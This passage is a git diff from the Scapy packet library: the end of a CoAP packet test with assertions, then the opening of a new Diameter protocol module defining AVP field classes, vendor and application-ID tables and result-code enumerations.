+    b'\x6e\x65\x72\x61\x6c\x20\x49\x6e\x66\x6f\x22\x3b\x63\x74\x3d\x30\x2c\x3c\x2f\x74\x69\x6d\x65\x3e\x3b\x69\x66\x3d' \
+    b'\x22\x63\x6c\x6f\x63\x6b\x22\x3b\x72\x74\x3d\x22\x54\x69\x63\x6b\x73\x22\x3b\x74\x69\x74\x6c\x65\x3d\x22\x49\x6e' \
+    b'\x74\x65\x72\x6e\x61\x6c\x20\x43\x6c\x6f\x63\x6b\x22\x3b\x63\x74\x3d\x30\x3b\x6f\x62\x73\x2c\x3c\x2f\x61\x73\x79' \
+    b'\x6e\x63\x3e\x3b\x63\x74\x3d\x30'
+assert(CoAP in UDP(s))
+
+= building with a text/plain payload
+p = CoAP(ver = 1, type = 0, code = 0x42, msg_id = 0xface, options=[("Content-Format", b"\x00")], paymark = b"\xff")
+p /= Raw(b"\xde\xad\xbe\xef")
+assert(raw(p) == b'\x40\x42\xfa\xce\xc1\x00\xff\xde\xad\xbe\xef')
+
+= dissection with a text/plain payload
+p = CoAP(raw(p))
+assert(p.ver == 1)
+assert(p.type == 0)
+assert(p.code == 0x42)
+assert(p.msg_id == 0xface)
+assert(isinstance(p.payload, Raw))
+assert(p.payload.load == b'\xde\xad\xbe\xef')
diff --git a/scapy/contrib/diameter.py b/scapy/contrib/diameter.py
new file mode 100644
index 0000000..6478b0b
--- /dev/null
+++ b/scapy/contrib/diameter.py
@@ -0,0 +1,4832 @@
+##########################################################################
+#
+#       Diameter protocol implementation for Scapy
+#   Original Author: patrick battistello
+#
+#   This implements the base Diameter protocol RFC6733 and the additional standards:
+#     RFC7155, RFC4004, RFC4006, RFC4072, RFC4740, RFC5778, RFC5447, RFC6942, RFC5777
+#     ETS29229 V12.3.0 (2014-09), ETS29272 V13.1.0 (2015-03), ETS29329 V12.5.0 (2014-12),
+#     ETS29212 V13.1.0 (2015-03), ETS32299 V13.0.0 (2015-03), ETS29210 V6.7.0 (2006-12),
+#     ETS29214 V13.1.0 (2015-03), ETS29273 V12.7.0 (2015-03), ETS29173 V12.3.0 (2015-03),
+#     ETS29172 V12.5.0 (2015-03), ETS29215 V13.1.0 (2015-03), ETS29209 V6.8.0 (2011-09),
+#     ETS29061 V13.0.0 (2015-03), ETS29219 V13.0.0 (2014-12)
+#
+#       IMPORTANT note:
+#
+#           - Some Diameter fields (Unsigned64, Float32, ...) have not been tested yet due to lack
+#               of network captures containing AVPs of that types contributions are welcomed.
+#
+##########################################################################
+
+# scapy.contrib.description = Diameter
+# scapy.contrib.status = loads
+
+import sys
+import logging
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet6 import *
+from scapy.layers.sctp import *
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+from scapy.compat import chb, orb, raw, bytes_hex
+from time import ctime
+
+#####################################################################
+#####################################################################
+#
+#       Definition of additional fields
+#
+#####################################################################
+#####################################################################
+
+
+class I3BytesEnumField (X3BytesField, EnumField):
+    """ 3 bytes enum field """
+
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "!I")
+
+
+class I3FieldLenField(X3BytesField, FieldLenField):
+    __slots__ = ["length_of", "count_of", "adjust"]
+
+    def __init__(
+            self,
+            name,
+            default,
+            length_of=None,
+            count_of=None,
+            adjust=lambda pkt,
+            x: x):
+        X3BytesField.__init__(self, name, default)
+        self.length_of = length_of
+        self.count_of = count_of
+        self.adjust = adjust
+
+    def i2m(self, pkt, x):
+        return FieldLenField.i2m(self, pkt, x)
+
+###########################################################
+# Fields for Diameter commands
+###########################################################
+
+
+class DRFlags (FlagsField):
+    def i2repr(self, pkt, x):
+        if x is None:
+            return "None"
+        res = hex(int(x))
+        r = ''
+        cmdt = (x & 128) and ' Request' or ' Answer'
+        if x & 15:  # Check if reserved bits are used
+            nb = 8
+            offset = 0
+        else:       # Strip the first 4 bits
+            nb = 4
+            offset = 4
+            x >>= 4
+        for i in range(nb):
+            r += (x & 1) and str(self.names[offset + i][0]) or '-'
+            x >>= 1
+        invert = r[::-1]
+        return res + cmdt + ' (' + invert[:nb] + ')'
+
+
+class DRCode (I3BytesEnumField):
+    def __init__(self, name, default, enum):
+        """enum is a dict of tupples, so conversion is required before calling the actual init method.
+           Note: the conversion is done only once."""
+        enumDict = {}
+        for k, v in enum.items():
+            enumDict[k] = v[0]
+        I3BytesEnumField.__init__(self, name, default, enumDict)
+
+    def i2repr(self, pkt, x):
+        cmd = self.i2repr_one(pkt, x)
+        sx = str(x)
+        if cmd == sx:
+            cmd = 'Unknown'
+        return sx + " (" + cmd + ")"
+
+###########################################################
+# Fields for Diameter AVPs
+###########################################################
+
+
+class AVPFlags (FlagsField):
+    def i2repr(self, pkt, x):
+        if x is None:
+            return "None"
+        res = hex(int(x))
+        r = ''
+        if x & 31:  # Check if reserved bits are used
+            nb = 8
+            offset = 0
+        else:       # Strip the first 5 bits
+            nb = 3
+            offset = 5
+            x >>= 5
+        for i in range(nb):
+            r += (x & 1) and str(self.names[offset + i][0]) or '-'
+            x >>= 1
+        invert = r[::-1]
+        return res + ' (' + invert[:nb] + ')'
+
+
+class AVPVendor (IntField):
+    def i2repr(self, pkt, x):
+        vendor = vendorList.get(x, "Unkown_Vendor")
+        return "%s (%s)" % (vendor, str(x))
+
+
+# Note the dictionnary below is minimal (taken from scapy/layers/dhcp6.py
+# + added 3GPP and ETSI
+vendorList = {
+    9: "ciscoSystems",
+    35: "Nortel Networks",
+    43: "3Com",
+    311: "Microsoft",
+    323: "Tekelec",
+    2636: "Juniper Networks, Inc.",
+    4526: "Netgear",
+    5771: "Cisco Systems, Inc.",
+    5842: "Cisco Systems",
+    8164: "Starent Networks",
+    10415: "3GPP",
+    13019: "ETSI",
+    16885: "Nortel Networks"}
+
+# The Application IDs for the Diameter command field
+AppIDsEnum = {
+    0: "Diameter_Common_Messages",
+    1: "NASREQ_Application",
+    2: "Mobile_IPv4_Application",
+    3: "Diameter_Base_Accounting",
+    4: "Diameter_Credit_Control_Application",
+    5: "EAP_Application",
+    6: "Diameter_Session_Initiation_Protocol_(SIP)_Application",
+    7: "Diameter_Mobile_IPv6_IKE___(MIP6I)",
+    8: "Diameter_Mobile_IPv6_Auth__(MIP6A)",
+    111: "ALU_Sy",
+    555: "Sun_Ping_Application",
+    16777216: "3GPP_Cx",
+    16777217: "3GPP_Sh",
+    16777222: "3GPP_Gq",
+    16777223: "3GPP_Gmb",
+    16777224: "3GPP_Gx",
+    16777227: "Ericsson_MSI",
+    16777228: "Ericsson_Zx",
+    16777229: "3GPP_RX",
+    16777231: "Diameter_e2e4_Application",
+    16777232: "Ericsson_Charging-CIP",
+    16777236: "3GPP_Rx",
+    16777238: "3GPP_Gx",
+    16777250: "3GPP_STa",
+    16777251: "3GPP_S6a/S6d",
+    16777252: "3GPP_S13/S13'",
+    16777255: "3GPP_SLg",
+    16777264: "3GPP_SWm",
+    16777265: "3GPP_SWx",
+    16777266: "3GPP_Gxx",
+    16777267: "3GPP_S9",
+    16777269: "Ericsson_HSI",
+    16777272: "3GPP_S6b",
+    16777291: "3GPP_SLh",
+    16777292: "3GPP_SGmb",
+    16777302: "3GPP_Sy",
+    16777304: "Ericsson_Sy",
+    16777315: "Ericsson_Diameter_Signalling_Controller_Application_(DSC)",
+    4294967295: "Relay",
+}
+
+
+###########################################################
+# Definition of fields contained in section 4.2 of RFC6733
+# for AVPs payloads
+###########################################################
+
+class OctetString (StrLenField):
+    def i2repr(self, pkt, x):
+        try:
+            return plain_str(x)
+        except BaseException:
+            return bytes_hex(x)
+
+
+class Integer32 (SignedIntField):
+    pass
+
+
+class Integer64 (Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "q")
+
+
+class Unsigned32 (IntField):
+    pass
+
+
+class Unsigned64 (LongField):
+    pass
+
+
+class Float32 (IEEEFloatField):
+    pass
+
+
+class Float64 (IEEEDoubleField):
+    pass
+
+
+class Grouped (Field):
+    pass
+
+
+###########################################################
+# Definition of additional fields contained in section 4.3
+# of RFC6733 for AVPs payloads
+###########################################################
+
+class Address (StrLenField):
+    def i2repr(self, pkt, x):
+        if x.startswith(b'\x00\x01'):  # IPv4 address
+            return inet_ntoa(x[2:])
+        elif x.startswith(b'\x00\x02'):    # IPv6 address
+            return inet_ntop(socket.AF_INET6, x[2:])
+        else:   # Address format not yet decoded
+            print ('Warning: Address format not yet decoded.')
+            return bytes_hex(x)
+
+    def any2i(self, pkt, x):
+        if x and isinstance(x, str):
+            try:    # Try IPv4 conversion
+                s = inet_aton(x)
+                return b'\x00\x01' + s
+            except BaseException:
+                try:    # Try IPv6 conversion
+                    s = inet_pton(socket.AF_INET6, x)
+                    return b'\x00\x02' + s
+                except BaseException:
+                    print ('Warning: Address format not supported yet.')
+        return b''
+
+
+class Time (IntField):
+    def i2repr(self, pkt, x):
+        return ctime(x)
+
+
+class Enumerated (IntEnumField):
+    def i2repr(self, pkt, x):
+        if x in self.i2s:
+            return self.i2s[x] + " (%d)" % x
+        else:
+            return repr(x) + " (Unknown)"
+
+
+class IPFilterRule (StrLenField):
+    pass
+
+
+class Grouped (StrLenField):
+    """This class is just for declarative purpose because it is used in the AVP definitions dict."""
+    pass
+
+
+####################################################################
+# Definition of additional fields contained in other standards
+####################################################################
+
+class QoSFilterRule (StrLenField):        # Defined in 4.1.1 of RFC7155
+    pass
+
+
+class ISDN (StrLenField):
+    def i2repr(self, pkt, x):
+        out = b''
+        for char in x:
+            c = orb(char)
+            out += chb(48 + (c & 15))  # convert second digit first
+            v = (c & 240) >> 4
+            if v != 15:
+                out += chb(48 + v)
+        return out
+
+    def any2i(self, pkt, x):
+        out = b''
+        if x:
+            fd = True     # waiting for first digit
+            for c in x:
+                digit = orb(c) - 48
+                if fd:
+                    val = digit
+                else:
+                    val = val + 16 * digit
+                    out += chb(val)
+                fd = not fd
+            if not fd:    # Fill with 'f' if odd number of characters
+                out += chb(240 + val)
+        return out
+
+
+#####################################################################
+#####################################################################
+#
+#       AVPs classes and definitions
+#
+#####################################################################
+#####################################################################
+
+AVP_Code_length = 4
+AVP_Flag_length = 1
+DIAMETER_BYTES_ALIGNMENT = 4
+AVP_Flags_List = ["x", "x", "x", "x", "x", "P", "M", "V"]
+
+
+def GuessAvpType(p, **kargs):
+    if len(p) > AVP_Code_length + AVP_Flag_length:
+        # Set AVP code and vendor
+        avpCode = struct.unpack("!I", p[:AVP_Code_length])[0]
+        vnd = bool(struct.unpack(
+            "!B", p[AVP_Code_length:AVP_Code_length + AVP_Flag_length])[0] & 128)
+        vndCode = vnd and struct.unpack("!I", p[8:12])[0] or 0
+        # Check if vendor and code defined and fetch the corresponding AVP
+        # definition
+        if vndCode in AvpDefDict.keys():
+            AvpVndDict = AvpDefDict[vndCode]
+            if avpCode in AvpVndDict:
+                # Unpack only the first 4 tupple items at this point
+                avpName, AVPClass, flags = AvpVndDict[avpCode][:3]
+                result = AVPClass(p, **kargs)
+                result.name = 'AVP ' + avpName
+                return result
+    # Packet too short or AVP vendor or AVP code not found ...
+    return AVP_Unknown(p, **kargs)
+
+
+class AVP_Generic (Packet):
+    """ Parent class for the 5 following AVP intermediate classes below"""
+
+    def extract_padding(self, s):
+        nbBytes = self.avpLen % DIAMETER_BYTES_ALIGNMENT
+        if nbBytes:
+            nbBytes = DIAMETER_BYTES_ALIGNMENT - nbBytes
+        return s[:nbBytes], s[nbBytes:]
+
+    def post_build(self, p, pay):
+        nbBytes = (-len(p)) % 4
+        while nbBytes:
+            p += struct.pack("B", 0)
+            nbBytes -= 1
+        return p + pay
+
+    def show2(self):
+        self.__class__(raw(self), name=self.name).show()
+
+
+def AVP(avpId, **fields):
+    """ Craft an AVP based on its id and optional parameter fields"""
+    val = None
+    name = 'AVP Unknown'
+    classType = AVP_Unknown
+    if isinstance(avpId, str):
+        try:
+            for vnd in AvpDefDict.keys():
+                for code in AvpDefDict[vnd].keys():
+                    val = AvpDefDict[vnd][code]
+                    if val[0][:len(
+                            avpId)] == avpId:  # A prefix of the full name is considered valid
+                        raise
+            found = False
+        except BaseException:
+            found = True
+    else:
+        if isinstance(avpId, list):
+            code = avpId[0]
+            vnd = avpId[1]
+        else:  # Assume this is an int
+            code = avpId
+            vnd = 0
+        try:
+            val = AvpDefDict[vnd][code]
+            found = True
+        except BaseException:
+            found = False
+    if not found:
+        warning('The AVP identifier %s has not been found.' % str(avpId))
+        if isinstance(avpId, str):  # The string input is not valid
+            return None
+    # At this point code, vnd are provisionned val may be set (if found is True)
+    # Set/override AVP code
+    fields['avpCode'] = code
+    # Set vendor if not already defined and relevant
+    if 'avpVnd' not in fields.keys() and vnd:
+        fields['avpVnd'] = vnd
+    # Set flags if not already defined and possible ...
+    if 'avpFlags' not in fields.keys():
+        if val:
+            fields['avpFlags'] = val[2]
+        else:
+            fields['avpFlags'] = vnd and 128 or 0
+    # Finally, set the name and class if possible
+    if val:
+        classType = val[1]
+    _ret = classType(**fields)
+    if val:
+        _ret.name = 'AVP ' + val[0]
+    return _ret
+
+
+# AVP intermediate classes:
+############################
+
+class AVP_FL_NV (AVP_Generic):
+    """ Defines the AVP of Fixed Length with No Vendor field."""
+    fields_desc = [
+        IntField("avpCode", None),
+        AVPFlags("avpFlags", None, 8, AVP_Flags_List),
+        X3BytesField("avpLen", None)
+    ]
+
+
+class AVP_FL_V (AVP_Generic):
+    """ Defines the AVP of Fixed Length with Vendor field."""
+    fields_desc = [
+        IntField("avpCode", None),
+        AVPFlags("avpFlags", None, 8, AVP_Flags_List),
+        X3BytesField("avpLen", None),
+        AVPVendor("avpVnd", 0)
+    ]
+
+
+class AVP_VL_NV (AVP_Generic):
+    """ Defines the AVP of Variable Length with No Vendor field."""
+    fields_desc = [
+        IntField("avpCode", None),
+        AVPFlags("avpFlags", None, 8, AVP_Flags_List),
+        I3FieldLenField("avpLen", None, length_of="val",
+            adjust=lambda pkt, x:x + 8)
+    ]
+
+
+class AVP_VL_V (AVP_Generic):
+    """ Defines the AVP of Variable Length with Vendor field."""
+    fields_desc = [
+        IntField("avpCode",None),
+        AVPFlags("avpFlags", None, 8, AVP_Flags_List),
+        I3FieldLenField("avpLen", None, length_of="val",
+            adjust=lambda pkt, x:x + 12),
+        AVPVendor("avpVnd", 0)
+    ]
+
+
+class AVP_Unknown (AVP_Generic):
+    """ The default structure for AVPs which could not be decoded (optional vendor field, variable length). """
+    name = 'AVP Unknown'
+    fields_desc = [
+        IntField("avpCode", None),
+        AVPFlags("avpFlags", None, 8, AVP_Flags_List),
+        I3FieldLenField("avpLen", None, length_of="val",
+            adjust=lambda pkt, x:x + 8 + ((pkt.avpFlags & 0x80) >> 5)),
+        ConditionalField(AVPVendor("avpVnd", 0), lambda pkt:pkt.avpFlags & 0x80),
+        StrLenField("val", None,
+            length_from=lambda pkt:pkt.avpLen - 8 - ((pkt.avpFlags & 0x80) >> 5))
+    ]
+
+
+# AVP 'low level' classes:
+############################
+
+class AVPV_StrLenField (AVP_VL_V):
+    fields_desc = [
+        AVP_VL_V,
+        StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 12)
+    ]
+
+
+class AVPNV_StrLenField (AVP_VL_NV):
+    fields_desc = [
+        AVP_VL_NV,
+        StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 8)
+    ]
+
+
+class AVPV_OctetString (AVP_VL_V):
+    fields_desc = [
+        AVP_VL_V,
+        OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 12)
+    ]
+
+
+class AVPNV_OctetString (AVP_VL_NV):
+    fields_desc = [
+        AVP_VL_NV,
+        OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 8)
+    ]
+
+
+class AVPV_Grouped (AVP_VL_V):
+    fields_desc = [
+        AVP_VL_V,
+        PacketListField('val', [], GuessAvpType,
+            length_from=lambda pkt:pkt.avpLen - 12)
+    ]
+
+
+class AVPNV_Grouped (AVP_VL_NV):
+    fields_desc = [
+        AVP_VL_NV,
+        PacketListField('val', [], GuessAvpType,
+            length_from=lambda pkt:pkt.avpLen - 8)]
+
+
+class AVPV_Unsigned32 (AVP_FL_V):
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Unsigned32('val', None)]
+
+
+class AVPNV_Unsigned32 (AVP_FL_NV):
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Unsigned32('val', None)]
+
+
+class AVPV_Integer32 (AVP_FL_V):
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Integer32('val', None)]
+
+
+class AVPNV_Integer32 (AVP_FL_NV):
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Integer32('val', None)]
+
+
+class AVPV_Unsigned64 (AVP_FL_V):
+    avpLen = 20
+    fields_desc = [AVP_FL_V, Unsigned64('val', None)]
+
+
+class AVPNV_Unsigned64 (AVP_FL_NV):
+    avpLen = 16
+    fields_desc = [AVP_FL_NV, Unsigned64('val', None)]
+
+
+class AVPV_Integer64 (AVP_FL_V):
+    avpLen = 20
+    fields_desc = [AVP_FL_V, Integer64('val', None)]
+
+
+class AVPNV_Integer64 (AVP_FL_NV):
+    avpLen = 16
+    fields_desc = [AVP_FL_NV, Integer64('val', None)]
+
+
+class AVPV_Time (AVP_FL_V):
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Time("val", None)]
+
+
+class AVPNV_Time (AVP_FL_NV):
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Time("val", None)]
+
+
+class AVPV_Address (AVP_VL_V):
+    fields_desc = [
+        AVP_VL_V,
+        Address("val", None, length_from=lambda pkt:pkt.avpLen - 12)
+    ]
+
+
+class AVPNV_Address (AVP_VL_NV):
+    fields_desc = [
+        AVP_VL_NV,
+        Address("val", None, length_from=lambda pkt:pkt.avpLen - 8)
+    ]
+
+
+class AVPV_IPFilterRule (AVP_VL_V):
+    fields_desc = [
+        AVP_VL_V,
+        IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12)
+    ]
+
+
+class AVPNV_IPFilterRule (AVP_VL_NV):
+    fields_desc = [
+        AVP_VL_NV,
+        IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8)
+    ]
+
+
+class AVPV_QoSFilterRule (AVP_VL_V):
+    fields_desc = [
+        AVP_VL_V,
+        QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12)
+    ]
+
+
+class AVPNV_QoSFilterRule (AVP_VL_NV):
+    fields_desc = [
+        AVP_VL_NV,
+        QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8)
+    ]
+
+
+###############################################
+# Actual AVPs based on previous parent classes
+###############################################
+
+# AVP special classes (which required interpretation/adaptation from standard)
+##############################################################################
+
+class AVP_0_258 (AVP_FL_NV):
+    name = 'AVP Auth-Application-Id'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, AppIDsEnum)]
+
+
+class AVP_0_266 (AVP_FL_NV):
+    name = 'AVP Vendor-Id'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, vendorList)]
+
+
+class AVP_0_268 (AVP_FL_NV):
+    name = 'AVP Result-Code'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV,
+                   Enumerated('val',
+                              None,
+                              {1001: "DIAMETER_MULTI_ROUND_AUTH",
+                               2001: "DIAMETER_SUCCESS",
+                               2002: "DIAMETER_LIMITED_SUCCESS",
+                               2003: "DIAMETER_FIRST_REGISTRATION",
+                               2004: "DIAMETER_SUBSEQUENT_REGISTRATION",
+                               2005: "DIAMETER_UNREGISTERED_SERVICE",
+                               2006: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED",
+                               2007: "DIAMETER_SERVER_SELECTION",
+                               2008: "DIAMETER_SUCCESS_AUTH_SENT_SERVER_NOT_STORED",
+                               2009: "DIAMETER_SUCCESS_RELOCATE_HA",
+                               3001: "DIAMETER_COMMAND_UNSUPPORTED",
+                               3002: "DIAMETER_UNABLE_TO_DELIVER",
+                               3003: "DIAMETER_REALM_NOT_SERVED",
+                               3004: "DIAMETER_TOO_BUSY",
+                               3005: "DIAMETER_LOOP_DETECTED",
+                               3006: "DIAMETER_REDIRECT_INDICATION",
+                               3007: "DIAMETER_APPLICATION_UNSUPPORTED",
+                               3008: "DIAMETER_INVALID_HDR_BITS",
+                               3009: "DIAMETER_INVALID_AVP_BITS",
+                               3010: "DIAMETER_UNKNOWN_PEER",
+                               4001: "DIAMETER_AUTHENTICATION_REJECTED",
+                               4002: "DIAMETER_OUT_OF_SPACE",
+                               4003: "DIAMETER_ELECTION_LOST",
+                               4005: "DIAMETER_ERROR_MIP_REPLY_FAILURE",
+                               4006: "DIAMETER_ERROR_HA_NOT_AVAILABLE",
+                               4007: "DIAMETER_ERROR_BAD_KEY",
+                               4008: "DIAMETER_ERROR_MIP_FILTER_NOT_SUPPORTED",
+                               4010: "DIAMETER_END_USER_SERVICE_DENIED",
+                               4011: "DIAMETER_CREDIT_CONTROL_NOT_APPLICABLE",
+                               4012: "DIAMETER_CREDIT_LIMIT_REACHED",
+                               4013: "DIAMETER_USER_NAME_REQUIRED",
+                               4241: "DIAMETER_END_USER_SERVICE_DENIED",
+                               5001: "DIAMETER_AVP_UNSUPPORTED",
+                               5002: "DIAMETER_UNKNOWN_SESSION_ID",
+                               5003: "DIAMETER_AUTHORIZATION_REJECTED",
+                               5004: "DIAMETER_INVALID_AVP_VALUE",
+                               5005: "DIAMETER_MISSING_AVP",
+                               5006: "DIAMETER_RESOURCES_EXCEEDED",
+                               5007: "DIAMETER_CONTRADICTING_AVPS",
+                               5008: "DIAMETER_AVP_NOT_ALLOWED",
+                               5009: "DIAMETER_AVP_OCCURS_TOO_MANY_TIMES",
+                               5010: "DIAMETER_NO_COMMON_APPLICATION",
+                               5011: "DIAMETER_UNSUPPORTED_VERSION",
+                               5012: "DIAMETER_UNABLE_TO_COMPLY",
+                               5013: "DIAMETER_INVALID_BIT_IN_HEADER",
+                               5014: "DIAMETER_INVALID_AVP_LENGTH",
+                               5015: "DIAMETER_INVALID_MESSAGE_LENGTH",
+                               5016: "DIAMETER_INVALID_AVP_BIT_COMBO",
+                               5017: "DIAMETER_NO_COMMON_SECURITY",
+                               5018: "DIAMETER_RADIUS_AVP_UNTRANSLATABLE",
+                               5024: "DIAMETER_ERROR_NO_FOREIGN_HA_SERVICE",
+                               5025: "DIAMETER_ERROR_END_TO_END_MIP_KEY_ENCRYPTION",
+                               5030: "DIAMETER_USER_UNKNOWN",
+                               5031: "DIAMETER_RATING_FAILED",
+                               5032: "DIAMETER_ERROR_USER_UNKNOWN",
+                               5033: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH",
+                               5034: "DIAMETER_ERROR_IDENTITY_NOT_REGISTERED",
+                               5035: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED",
+                               5036: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED",
+                               5037: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED",
+                               5038: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE",
+                               5039: "DIAMETER_ERROR_TOO_MUCH_DATA",
+                               5040: "DIAMETER_ERROR_NOT SUPPORTED_USER_DATA",
+                               5041: "DIAMETER_ERROR_MIP6_AUTH_MODE",
+                               5241: "DIAMETER_END_USER_NOT_FOUND",
+                               })]
+
+
+class AVP_0_298 (AVP_FL_NV):
+    name = 'AVP Experimental-Result-Code'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                2001: "DIAMETER_FIRST_REGISTRATION",
+                2002: "DIAMETER_SUBSEQUENT_REGISTRATION",
+                2003: "DIAMETER_UNREGISTERED_SERVICE",
+                2004: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED",
+                2021: "DIAMETER_PDP_CONTEXT_DELETION_INDICATION",
+                4100: "DIAMETER_USER_DATA_NOT_AVAILABLE",
+                4101: "DIAMETER_PRIOR_UPDATE_IN_PROGRESS",
+                4121: "DIAMETER_ERROR_OUT_OF_RESOURCES",
+                4141: "DIAMETER_PCC_BEARER_EVENT",
+                4181: "DIAMETER_AUTHENTICATION_DATA_UNAVAILABLE",
+                4201: "DIAMETER_ERROR_ABSENT_USER",
+                4221: "DIAMETER_ERROR_UNREACHABLE_USER",
+                4222: "DIAMETER_ERROR_SUSPENDED_USER",
+                4223: "DIAMETER_ERROR_DETACHED_USER",
+                4224: "DIAMETER_ERROR_POSITIONING_DENIED",
+                4225: "DIAMETER_ERROR_POSITIONING_FAILED",
+                4226: "DIAMETER_ERROR_UNKNOWN_UNREACHABLE LCS_CLIENT",
+                5001: "DIAMETER_ERROR_USER_UNKNOWN",
+                5002: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH",
+                5003: "DIAMETER_ERROR_IDENTITY_NOT_REGISTERED",
+                5004: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED",
+                5005: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED",
+                5006: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED",
+                5007: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE",
+                5008: "DIAMETER_ERROR_TOO_MUCH_DATA",
+                5009: "DIAMETER_ERROR_NOT_SUPPORTED_USER_DATA",
+                5010: "DIAMETER_MISSING_USER_ID",
+                5011: "DIAMETER_ERROR_FEATURE_UNSUPPORTED",
+                5041: "DIAMETER_ERROR_USER_NO_WLAN_SUBSCRIPTION",
+                5042: "DIAMETER_ERROR_W-APN_UNUSED_BY_USER",
+                5043: "DIAMETER_ERROR_W-DIAMETER_ERROR_NO_ACCESS_INDEPENDENT_SUBSCRIPTION",
+                5044: "DIAMETER_ERROR_USER_NO_W-APN_SUBSCRIPTION",
+                5045: "DIAMETER_ERROR_UNSUITABLE_NETWORK",
+                5061: "INVALID_SERVICE_INFORMATION",
+                5062: "FILTER_RESTRICTIONS",
+                5063: "REQUESTED_SERVICE_NOT_AUTHORIZED",
+                5064: "DUPLICATED_AF_SESSION",
+                5065: "IP-CAN_SESSION_NOT_AVAILABLE",
+                5066: "UNAUTHORIZED_NON_EMERGENCY_SESSION",
+                5100: "DIAMETER_ERROR_USER_DATA_NOT_RECOGNIZED",
+                5101: "DIAMETER_ERROR_OPERATION_NOT_ALLOWED",
+                5102: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_READ",
+                5103: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_MODIFIED",
+                5104: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_NOTIFIED",
+                5105: "DIAMETER_ERROR_TRANSPARENT_DATA_OUT_OF_SYNC",
+                5106: "DIAMETER_ERROR_SUBS_DATA_ABSENT",
+                5107: "DIAMETER_ERROR_NO_SUBSCRIPTION_TO_DATA",
+                5108: "DIAMETER_ERROR_DSAI_NOT_AVAILABLE",
+                5120: "DIAMETER_ERROR_START_INDICATION",
+                5121: "DIAMETER_ERROR_STOP_INDICATION",
+                5122: "DIAMETER_ERROR_UNKNOWN_MBMS_BEARER_SERVICE",
+                5123: "DIAMETER_ERROR_SERVICE_AREA",
+                5140: "DIAMETER_ERROR_INITIAL_PARAMETERS",
+                5141: "DIAMETER_ERROR_TRIGGER_EVENT",
+                5142: "DIAMETER_BEARER_EVENT",
+                5143: "DIAMETER_ERROR_BEARER_NOT_AUTHORIZED",
+                5144: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED",
+                5145: "DIAMETER_QOS_RULE_EVENT",
+                5146: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED",
+                5147: "DIAMETER_ERROR_CONFLICTING_REQUEST",
+                5401: "DIAMETER_ERROR_IMPI_UNKNOWN",
+                5402: "DIAMETER_ERROR_NOT_AUTHORIZED",
+                5403: "DIAMETER_ERROR_TRANSACTION_IDENTIFIER_INVALID",
+                5420: "DIAMETER_ERROR_UNKNOWN_EPS_SUBSCRIPTION",
+                5421: "DIAMETER_ERROR_RAT_NOT_ALLOWED",
+                5422: "DIAMETER_ERROR_EQUIPMENT_UNKNOWN",
+                5423: "DIAMETER_ERROR_UNKNOWN_SERVING_NODE",
+                5450: "DIAMETER_ERROR_USER_NO_NON_3GPP_SUBSCRIPTION",
+                5451: "DIAMETER_ERROR_USER_NO_APN_SUBSCRIPTION",
+                5452: "DIAMETER_ERROR_RAT_TYPE_NOT_ALLOWED",
+                5470: "DIAMETER_ERROR_SUBSESSION",
+                5490: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_NETWORK",
+                5510: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_ENTITY",
+                5511: "DIAMETER_ERROR_UNAUTHORIZED_SERVICE",
+                5530: "DIAMETER_ERROR_INVALID_SME_ADDRESS",
+                5531: "DIAMETER_ERROR_SC_CONGESTION",
+                5532: "DIAMETER_ERROR_SM_PROTOCOL",
+            })]
+
+
+class AVP_10415_630 (AVP_FL_V):
+    name = 'AVP Feature-List'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                   FlagsField('val', None, 32,
+                              ['SiFC',
+                               'AliasInd',
+                               'IMSRestorationInd',
+                               'b3',
+                               'b4',
+                               'b5',
+                               'b6',
+                               'b7',
+                               'b8',
+                               'b9',
+                               'b10',
+                               'b11',
+                               'b12',
+                               'b13',
+                               'b14',
+                               'b15',
+                               'b16',
+                               'b17',
+                               'b18',
+                               'b19',
+                               'b20',
+                               'b21',
+                               'b22',
+                               'b23',
+                               'b24',
+                               'b25',
+                               'b26',
+                               'b27',
+                               'b28',
+                               'b29',
+                               'b30',
+                               'b31'])]
+
+
+class AVP_10415_701 (AVP_VL_V):
+    name = 'AVP MSISDN'
+    fields_desc = [AVP_VL_V, ISDN('val', None,
+                                  length_from=lambda pkt:pkt.avpLen - 12)]
+
+
